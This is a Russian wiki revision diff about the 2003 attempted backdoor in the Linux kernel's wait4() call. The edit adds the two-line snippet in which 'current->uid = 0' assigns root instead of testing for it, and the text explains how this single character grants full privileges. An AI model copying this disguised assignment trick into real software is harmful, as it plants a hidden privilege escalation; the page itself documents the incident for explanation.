Изменения

Перейти к навигации Перейти к поиску
124 байта добавлено ,  17 лет назад
Строка 3: Строка 3:  
== Суть дыры ==
 
== Суть дыры ==
   −
Обнаруженная дыра представляет собой две строчки кода, тщательно замаскированные под невинный контроль ошибок, добавленный к функции системного вызова wait4(). Эта функция доступна любой программе, работающей на компьютере, и, грубо говоря, дает операционной системе указание сделать паузу в исполнении данной программы, пока другая программа не завершит работу. На первый взгляд казалось, что добавка к коду просто проверяет, не использует ли программа, вызывающая wait4(), некую недопустимую комбинацию двух флагов и не запущена ли она пользователем с максимальными привилегиями (root). Если оба условия выполняются, то вызов прерывается.
+
Обнаруженная дыра представляет собой две строчки кода, тщательно замаскированные под невинный контроль ошибок, добавленный к функции системного вызова wait4(). Эта функция доступна любой программе, работающей на компьютере, и, грубо говоря, дает операционной системе указание сделать паузу в исполнении данной программы, пока другая программа не завершит работу. На первый взгляд казалось, что добавка к коду просто проверяет, не использует ли программа, вызывающая wait4(), некую недопустимую комбинацию двух флагов и не запущена ли она пользователем с максимальными привилегиями (root). Если оба условия выполняются, то вызов прерывается. Вот этот код:
 +
<code>
 +
+      if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
 +
+                      retval = -EINVAL;
 +
</code>
   −
Но при внимательном рассмотрении выяснилось, что код вовсе не проверяет, является ли пользователь всемогущим [[root]]. На самом деле, если обнаруживается нужное сочетание флагов, то вызвавший его процесс получает максимальные привилегии и моментально превращает wait4() в «черный ход». Другими словами, человек, знающий нужное сочетание флагов и место, где их следует установить, получает полный контроль над любой [[Linux]]-машиной. И вся эта гигантская разница — между тем, как код выглядит и что он в действительности делает, — заключена всего лишь в одном знаке на языке [[Си]]. Если бы этот нюанс обнаружили при обычных обстоятельствах, то наверняка сочли бы за элементарную ошибку программиста.
+
При внимательном рассмотрении выяснилось, что код вовсе не проверяет, является ли пользователь всемогущим [[root]]. Если обнаруживается нужное сочетание флагов, то вызвавший его процесс '''получает''' максимальные привилегии и моментально превращает wait4() в «черный ход». Другими словами, человек, знающий нужное сочетание флагов и место, где их следует установить, получает полный контроль над любой [[Linux]]-машиной. И вся эта гигантская разница — между тем, как код выглядит и что он в действительности делает, — заключена всего лишь в одном знаке на языке [[Си]]. Если бы этот нюанс обнаружили при обычных обстоятельствах, то наверняка сочли бы за элементарную ошибку программиста.
    
== История обнаружения ==
 
== История обнаружения ==
Анонимный участник

Реклама:

Навигация